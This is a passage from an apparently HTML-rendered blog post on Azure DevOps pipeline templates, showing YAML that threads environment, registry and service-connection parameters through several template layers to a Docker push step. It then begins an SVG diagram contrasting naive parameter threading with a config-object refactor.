style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econtainerRegistry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estages-template.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.containerRegistry }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# stages-template.yml — declares all three parameters it never reads\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econtainerRegistry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ejobs-template.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.containerRegistry }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# jobs-template.yml — declares all three parameters it never reads\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econtainerRegistry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esteps-template.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.containerRegistry }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# steps-template.yml — the only layer that actually uses these parameters\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econtainerRegistry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDocker@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Push container image\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003erepository\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.containerRegistry }}/myapp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003epush\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying to ${{ parameters.environment }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Report deployment target\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThree parameters, three intermediate files, 12 declarations for 3 unique values. Scale this to 14 parameters across 5 files and you have 70 declarations — 56 of which exist only to forward values that nobody in the middle of the chain uses.\u003c/p\u003e\n\u003ch3 id=\"diagram-template-parameter-flow-patterns\"\u003eDiagram: Template Parameter Flow Patterns\u003c/h3\u003e\n\u003cp\u003eThis diagram contrasts the \u003cstrong\u003eNaive Pattern\u003c/strong\u003e (where every parameter is explicitly threaded through every layer) with the \u003cstrong\u003eRefactored Pattern\u003c/strong\u003e (using a Config Object and Facade to decouple layers).\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 664 489\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 32,0 L 320,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,0 L 648,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,48 L 296,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,48 L 624,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,96 L 176,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,96 L 296,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,96 L 496,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,96 L 624,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,144 L 296,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,144 L 624,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,192 L 176,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,192 L 296,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,192 L 496,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,192 L 624,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,240 L 296,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,240 L 624,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,288 L 176,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,288 L 296,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,288 L 496,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,288 L 624,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,336 L 296,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,336 L 624,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,384 L 296,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,384 L 624,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,464 L 320,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,464 L 648,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,0 L 32,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,48 L 56,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,144 L 56,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,240 L 56,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,336 L 56,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,96 L 176,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,192 L 176,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,288 L 176,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,48 L 296,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,144 L 296,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,240 L 296,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,336 L 296,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,0 L 320,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,0 L 352,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,48 L 376,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,144 L 376,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,240 L 376,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,336 L 376,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,96 L 496,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,192 L 496,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,288 L 496,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,48 L 624,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,144 L 624,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,240 L 624,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,336 L 624,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 648,0 L 648,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 176,128 L 176,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='192.000000,128.000000 180.000000,122.400002 180.000000,133.600006' fill='currentColor' transform='rotate(90.000000, 176.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 176,224 L 176,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='192.000000,224.000000 180.000000,218.399994 180.000000,229.600006' fill='currentColor' transform='rotate(90.000000, 176.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 176,320 L 176,328' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='192.000000,320.000000 180.000000,314.399994 180.000000,325.600006' fill='currentColor' transform='rotate(90.000000, 176.000000, 320.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 496,128 L 496,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='512.000000,128.000000 500.000000,122.400002 500.000000,133.600006' fill='currentColor' transform='rotate(90.000000, 496.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 496,224 L 496,232' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='512.000000,224.000000 500.000000,218.399994 500.000000,229.600006' fill='currentColor' transform='rotate(90.000000, 496.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 496,320 L 496,328' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='512.000000,320.000000 500.000000,314.399994 500.000000,325.600006' fill='currentColor' transform='rotate(90.000000, 496.000000, 320.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='56' y='420' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='436' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='420' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='436' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='452' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='436' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='452' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='452' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='420' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='452' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='436' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='452' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='420' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='452' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='420' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='436' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='452' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='276' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='372' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='420' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='436' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='276' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='372' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='420' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='436' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='452' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='260' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='276' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='356' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='372' fill='currentColor' 